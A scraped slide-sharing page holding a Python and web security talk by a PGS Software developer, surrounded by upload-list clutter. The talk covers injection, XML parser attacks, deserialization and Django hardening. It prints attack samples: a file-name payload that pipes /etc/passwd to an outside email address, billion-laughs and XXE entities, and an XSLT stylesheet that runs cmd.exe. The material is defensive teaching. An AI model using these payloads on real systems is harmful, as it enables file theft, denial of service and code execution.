みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...
みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...
名前 です男
 
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdfUnlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Malak Abu Hammad
 
RESUME BUILDER APPLICATION Project for students
RESUME BUILDER APPLICATION Project for studentsRESUME BUILDER APPLICATION Project for students
RESUME BUILDER APPLICATION Project for students
KAMESHS29
 
HCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAUHCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAU
panagenda
 
Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!
Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!
Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!
SOFTTECHHUB
 
20240605 QFM017 Machine Intelligence Reading List May 2024
20240605 QFM017 Machine Intelligence Reading List May 202420240605 QFM017 Machine Intelligence Reading List May 2024
20240605 QFM017 Machine Intelligence Reading List May 2024
Matthew Sinclair
 
Microsoft - Power Platform_G.Aspiotis.pdf
Microsoft - Power Platform_G.Aspiotis.pdfMicrosoft - Power Platform_G.Aspiotis.pdf
Microsoft - Power Platform_G.Aspiotis.pdf
Uni Systems S.M.S.A.
 
Introduction to CHERI technology - Cybersecurity
Introduction to CHERI technology - CybersecurityIntroduction to CHERI technology - Cybersecurity
Introduction to CHERI technology - Cybersecurity
mikeeftimakis1
 

Recently uploaded (20)

How to use Firebase Data Connect For Flutter
How to use Firebase Data Connect For FlutterHow to use Firebase Data Connect For Flutter
How to use Firebase Data Connect For Flutter
 
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAUHCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
 
Serial Arm Control in Real Time Presentation
Serial Arm Control in Real Time PresentationSerial Arm Control in Real Time Presentation
Serial Arm Control in Real Time Presentation
 
20240607 QFM018 Elixir Reading List May 2024
20240607 QFM018 Elixir Reading List May 202420240607 QFM018 Elixir Reading List May 2024
20240607 QFM018 Elixir Reading List May 2024
 
Communications Mining Series - Zero to Hero - Session 1
Communications Mining Series - Zero to Hero - Session 1Communications Mining Series - Zero to Hero - Session 1
Communications Mining Series - Zero to Hero - Session 1
 
Artificial Intelligence for XMLDevelopment
Artificial Intelligence for XMLDevelopmentArtificial Intelligence for XMLDevelopment
Artificial Intelligence for XMLDevelopment
 
GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...
GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...
GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...
 
UiPath Test Automation using UiPath Test Suite series, part 6
UiPath Test Automation using UiPath Test Suite series, part 6UiPath Test Automation using UiPath Test Suite series, part 6
UiPath Test Automation using UiPath Test Suite series, part 6
 
GenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizationsGenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizations
 
“I’m still / I’m still / Chaining from the Block”
“I’m still / I’m still / Chaining from the Block”“I’m still / I’m still / Chaining from the Block”
“I’m still / I’m still / Chaining from the Block”
 
Uni Systems Copilot event_05062024_C.Vlachos.pdf
Uni Systems Copilot event_05062024_C.Vlachos.pdfUni Systems Copilot event_05062024_C.Vlachos.pdf
Uni Systems Copilot event_05062024_C.Vlachos.pdf
 
20240609 QFM020 Irresponsible AI Reading List May 2024
20240609 QFM020 Irresponsible AI Reading List May 202420240609 QFM020 Irresponsible AI Reading List May 2024
20240609 QFM020 Irresponsible AI Reading List May 2024
 
みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...
みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...
みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...
 
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdfUnlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
 
RESUME BUILDER APPLICATION Project for students
RESUME BUILDER APPLICATION Project for studentsRESUME BUILDER APPLICATION Project for students
RESUME BUILDER APPLICATION Project for students
 
HCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAUHCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAU
 
Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!
Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!
Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!
 
20240605 QFM017 Machine Intelligence Reading List May 2024
20240605 QFM017 Machine Intelligence Reading List May 202420240605 QFM017 Machine Intelligence Reading List May 2024
20240605 QFM017 Machine Intelligence Reading List May 2024
 
Microsoft - Power Platform_G.Aspiotis.pdf
Microsoft - Power Platform_G.Aspiotis.pdfMicrosoft - Power Platform_G.Aspiotis.pdf
Microsoft - Power Platform_G.Aspiotis.pdf
 
Introduction to CHERI technology - Cybersecurity
Introduction to CHERI technology - CybersecurityIntroduction to CHERI technology - Cybersecurity
Introduction to CHERI technology - Cybersecurity
 

Web application security and Python security best practices

  • 1.
  • 2. Web application security and Python security best practices Michał Wodyński · Python Developer
  • 3. Agenda Python security issues: Input injection Parsing XML Assert Statements Timing attacks Import 3rd party packages
  • 4. Agenda Python security issues: Temporary files Using yaml.load Pickles Not patching system runtime
  • 6. Made with by PGS Software · 6 Few words on start ● 30 bugs per 100 lines - ticket machine printed ticket for 638 zł for 2 zl, Mars (Metric units) ● Hacker - was good programmer, now it’s student from HighSchool ● Attackers: competition, own employee, casual internet surfer, government ● Aim of attacker: hack website, stealing information, injecting malicious software, man, algorithm, metadata in the word documents ● Tools - www.shodan.io and many other...
  • 7. Made with by PGS Software · 7 Input injection import subprocess def compress_file(request, filename): command = 'tar cfvz output_file.rar.gz "{source}"'.format(source=filename) subprocess.call(command, shell=True) "|| cat /etc/passwd | mail them@domain.com Piece of bad code Code that compresses with given file name Exploit Command in file name
  • 8. Made with by PGS Software · 8 Input injection - solution ● Never trust user and unknown source ● use shelx library for shell operations ● Use shelx.quote to add quotes and prevent execution
  • 9. Made with by PGS Software · 9 Parsing XML – issues ● Bypass firewall and gain access to the restricted resources ● Abuse a service to attack, spy on, DoS servers or third party services ● Exhaust additional resources on the machine (e.g. service that doesn’t responds or responds with big file) ● Gain knowledge, when, how often and from which IP address document is accessed ● Send email from inside network if URL handler supports smpt URIs
  • 10. Made with by PGS Software · 10 Parsing XML – Billion laughs/exponential entity expansion <!DOCTYPE xmlbomb [ <!ENTITY a "1234567890" > <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;"> ]> <bomb>&d;</bomb> Exploit XML entity recursion
  • 11. Made with by PGS Software · 11 Parsing XML – quadratic blow entity expansion <!DOCTYPE bomb [ <!ENTITY a "xxxxxxx... a couple of ten thousand chars"> ]> <bomb>&a;&a;&a;... repeat</bomb> Exploit Many Big entity repeated
  • 12. Made with by PGS Software · 12 Parsing XML – external entity expansion (remote/local) <!DOCTYPE external [ <!ENTITY ee SYSTEM "http://www.python.org/some.xml"> ]> <root>&ee;</root> <!DOCTYPE external [ <!ENTITY ee SYSTEM "file:///PATH/TO/simple.xml"> ]> <root>&ee;</root> Exploit Load entity from storage or server
  • 13. Made with by PGS Software · 13 Parsing XML – DTD retrival <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1- transitional.dtd"> <html> <head/> <body>text</body> </html> Exploit Reference to document definition
  • 14. Made with by PGS Software · 14 Parsing XML – issues ● XML parsers may use O(n^2) algorithm to handle attributes and namespaces. ● Parsers which uses hash tables for storing attributes and namespaces – implementation may be vulnerable to hash collision attacks and performance can go to O(n^2) again.
  • 15. Made with by PGS Software · 15 Parsing XML – decompression bomb ● XML libraries can parse compressed XML stream like HTTP streams or LMZA-ed files. ● Gzip can compress 1GiB zeros to 1MB and LZMA can be even better ● Only Xmlrpclib can decompress steams so it is vulnerable ● Lxml can load and process compressed data. It can handle very large blobs of compressed data without using too much memory. It is not protected from decompression bombs. ● SAX library is the most safe
  • 16. Made with by PGS Software · 16 Parsing XML – processing instruction <?xml-stylesheet type="text/xsl" href="style.xsl"?> Exploit Processing instruction
  • 17. Made with by PGS Software · 17 Parsing XML – Xpath injection ● Work the same as SQL injections ● Xpath queries must be quoted and validated (especially when taken from user) ● Python’s standard library doesn’t have Xpath queries and have proper quoting. Use xpath() method correctly: tree.xpath("/tag[@id='%s']" % value) – BAD tree.xpath("/tag[@id=$tagid]", tagid=name) - GOOD
  • 18. Made with by PGS Software · 18 Parsing XML - XInclude <root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="filename.txt" parse="text" /> </root> We should not do that when we use files from untrusted sources. Libxml2 supports Xinclude but do not have option to limit access only to allowed directories
  • 19. Made with by PGS Software · 19 Parsing XML – XML Schema location <ead xmlns="urn:isbn:1-931666-22-9" xmlns:xsi="http://www.w3.org/2001/XMLSchema- instance" xsi:schemaLocation="urn:isbn:1-931666-22-9 http:// www.loc.gov/ead/ead.xsd"> </ead> Exploit XML schema location
  • 20. Made with by PGS Software · 20 Parsing XML – XSL XSLT is a language for transforming XML documents into other XML or HTML documents XSLT processors can interact with external resources like: read/write to file system, access to JRE objects, scripting with Jython.
  • 21. Made with by PGS Software · 21 Parsing XML – XSL Transformation <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/ Transform" xmlns:rt="http://xml.apache.org/xalan/java/ java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/ java.lang.Object" exclude-result-prefixes= "rt ob"> <xsl:template match="/"> <xsl:variable name="runtimeObject" select="rt:getRuntime()"/> <xsl:variable name="command" select="rt:exec($runtimeObject, &apos;c: Windowssystem32cmd.exe&apos;)"/> <xsl:variable name="commandAsString" select="ob:toString($command)"/> <xsl:value-of select="$commandAsString"/> </xsl:template> </xsl:stylesheet> Exploit XSL which runs cmd
  • 22. Made with by PGS Software · 22 Parsing XML - Summary 1.Lxml is protected against billion laughs attacks. No network lookups. 2.libxml2 and lxml are not directly vulnerable to gzip decompression bombs. No explicit protection to them. 3.xml.etree doesn’t expand entities. Raises a ParserError when an entity appears. 4.minidom doesn’t expand entities and simply returns the notification that cannot expand Entity.
  • 23. Made with by PGS Software · 23 Parsing XML - Summary 5.genshi.input from genshi 0.6 doesn’t support entity expansion. It raises a ParserError when an entity appears. 6.Library has XInclude support – remember to set a limit 7.Features but they may be exploitable holes
  • 24. Made with by PGS Software · 24 Parsing XML kind sax etree minidom pulldom xmlprc lxml genshi billion laughs Vulnerable Vulnerable Vulnerable Vulnerable Vulnerable Safe (1) Safe (5) quadratic blowup Vulnerable Vulnerable Vulnerable Vulnerable Vulnerable Vulnerable Safe (5) external entity expansion (remote) Vulnerable Safe(3) Safe(4) Vulnerable Safe Safe (1) Safe (5) external entity expansion (local) Vulnerable Safe(3) Safe(4) Vulnerable Safe Vulnerable Safe (5) DTD retrieval Vulnerable Safe Safe Vulnerable Safe Safe (1) Safe
  • 25. Made with by PGS Software · 25 Parsing XML kind sax etree minidom pulldom xmlprc lxml genshi gzip bomb Safe Safe Safe Safe Vulnerable Partly (2) Safe Xpath support(7) Safe Safe Safe Safe Safe Vulnerable Safe xsl(t) support (7) Safe Safe Safe Safe Safe Vulnerable Safe Xinclude support (7) Safe Vulnerable (6) Safe Safe Safe Vulnerable (6) Vulnerable
  • 26. Made with by PGS Software · 26 Parsing XML – what we can do? Use defusedxml library which is secure: >>> from xml.etree.ElementTree import parse – BAD ! >>> et = parse(xmlfile) >>> from defusedxml.ElementTree import parse – GOOD ! >>> et = parse(xmlfile) All functions and parsers classes accepts additional arguments and returns original objects
  • 27. Made with by PGS Software · 27 Assert statements ● Never use assert statements to protect piece of code from execution ● Python runs with __debug__ as True. In production it is common to run application with optimizations and this option causes skipping assert statements! ● Use asserts only in tests
  • 28. Made with by PGS Software · 28 Timing attacks ● Attack is aimed to algorithm which is comparing provided values. ● E.g. in command line application which prompts for the password ● We can prevent this attack by using: secrets.compare_digest (Python 3.5)
  • 29. Made with by PGS Software · 29 Installing 3rd party packages ● It is not recommended to use 3rd party packages in global site-packages ● Sometimes on PyPi for popular packages appears malicious package with very similar name but with different code. ● It is important to remember about dependencies of dependencies. They can contain vulnerabilities which can change behavior of Python via import system
  • 30. Made with by PGS Software · 30 Temporary files ● Generally, creating temporary files can be accomplished by mktemp() function ● It is not secure because different file system can create file with this name. In the end application can be fed with different configuration data. ● Use tempfile module and use mkstemp() function which can handle those case.
  • 31. Made with by PGS Software · 31 Using yaml.load ● Yaml documentation underline that is not safe to call yaml.load on any data received from untrusted source. - https://www.talosintelligence.com/reports/TALOS-2017-0 305 ● Insteaduse yaml.safe_load
  • 32. Made with by PGS Software · 32 Pickles ● Pickle.load not good the same as yaml.load. ● Never load pickle from untrusted source ● Better to use different serialization pattern like JSON
  • 33. Made with by PGS Software · 33 Not patching system Python runtime ● Python interpreter is written in C ● Common security issues in C for Python are related to the allocation of memory, so buffer overflows can appear. - https://www.cvedetails.com/cve/CVE-2017-1000158/ ● Install the latest version of Python for production environment and always patch it
  • 34. Made with by PGS Software · 34 Not patching dependencies ● It is very important dependencies and its dependencies - which can be hard because of dependency hell but it is not excuse! ● You can use service like PyUp.io to check for updates ● It is wise to validate all your library versions - https://www.inspec.io/docs/reference/resources/pip/ ● All above issues can be found by bandit - https://github.com/PyCQA/bandit
  • 35. Made with by PGS Software · 35 Django security features ● XSS Protection – jsfuck.com, white list , black list ● CSRF Protection (is checking referer header, generates token for form) ● Injection Protection ● Clickjacking Protection – SAME ORIGIN, DENY, Support : IE 8+, FF 3.6.9+, Opera 10.5+, Safari 4+, Chrome 4.1+ ● SSL/HTTPS – SESSION_COOKIE_SECURE=TRUE, CSRF_COOKIE_SECURE=True, django-sslify, django- secure
  • 36. Made with by PGS Software · 36 Django security features ● Password Storage, bcrypt! ● Data Validation ● O’Auth2 with django-rest-framework - https://django-oauth-toolkit.readthedocs.io/en/latest/res t-framework/getting_started.html
  • 37. Made with by PGS Software · 37 Django practices ● Always deploy you Django project behind https. ● Change default url to admin ● For the admin url use django-admin-honeypot - https://github.com/dmpayton/django-admin-honeypot ● Require stronger password – https://github.com/Pawamoy/django-zxcvbn-password ● Use at least two factor authentication. Token is most recommended.
  • 38. Made with by PGS Software · 38 Django practices ● Use the latest version of Django ● Never run debug in production – transparent errors, cached sql queries ● Check for errors: python manage.py check –deploy ● You can also check security of your website on https://www.ponycheckup.com/
  • 39. Made with by PGS Software · 39 Django practices ● Distinguish environments ● Deploy admin inside VPN ● Remove unnecessary components from the main site ● Define allowed hosts ● Protect your secret key
  • 40. Made with by PGS Software · 40 Other best practices ● Harden your servers ● Never store credit card data ● Server monitoring ● Vulnerability reporting page ● KEEP THINGS UP TO DATE
  • 41. Made with by PGS Software · 41 Other best practices ● Secured not only on the client's side ● Buffer overflow is not in java, but can transfer data to the program in a different language where problem can appear.
  • 42. Made with by PGS Software · 42 OWASP TOP 10 ● Injection ● Broken Authentication ● Sensitive Data Exposure ● XML External Entities ● Broken Access Control ● Security Misconfiguration ● Cross-Site Scripting ● Insecure Deserialization ● Using components with known Vulnerabilitiees ● Insufficient Logging&Monitoring
  • 43. Made with by PGS Software · 43 Interesting topics ● https://www.vulnhub.com/entry/lab26-11,190/#downloa d - website with images where you can exploit backdoors ● https://django-oauth-toolkit.readthedocs.io/en/latest/res t-framework/getting_started.html - O’Auth with django-rest-framework ● https://github.com/Phype/telnet-iot-honeypot - telnet honeypot
  • 44. Made with by PGS Software · 44 Interesting topics ● https://medium.com/@mccode/processes-in-containers- should-not-run-as-root-2feae3f0df3b - docker containers – issues related to docker images ● https://github.com/TheSecondSun/Safari-Crash - How to crash safari with HTML exploits (DoS) ● https://stackoverflow.com/questions/9580575/how-to-m anually-set-referer-header-in-javascript - How to change referer header with JS
  • 45. Sources 1. https://hackernoon.com/10-common-security-gotchas-i n-python-and-how-to-avoid-them-e19fbe265e03?gi=5 b7cd0a0fe8a 2. https://docs.python.org/3/library/xml.html#xml-vulner abilities 3. https://pypi.org/project/defusedxml/ 4. https://opensource.com/article/18/1/10-tips-making-dj ango-admin-more-secure 5. https://www.slideshare.net/spinlai/django-workshop-se curitybestpractices 6. https://www.owasp.org/index.php/Top_10-2017_Top_10
  • 47. Thank you! Michał Wodyński Go visit pgs-soft.com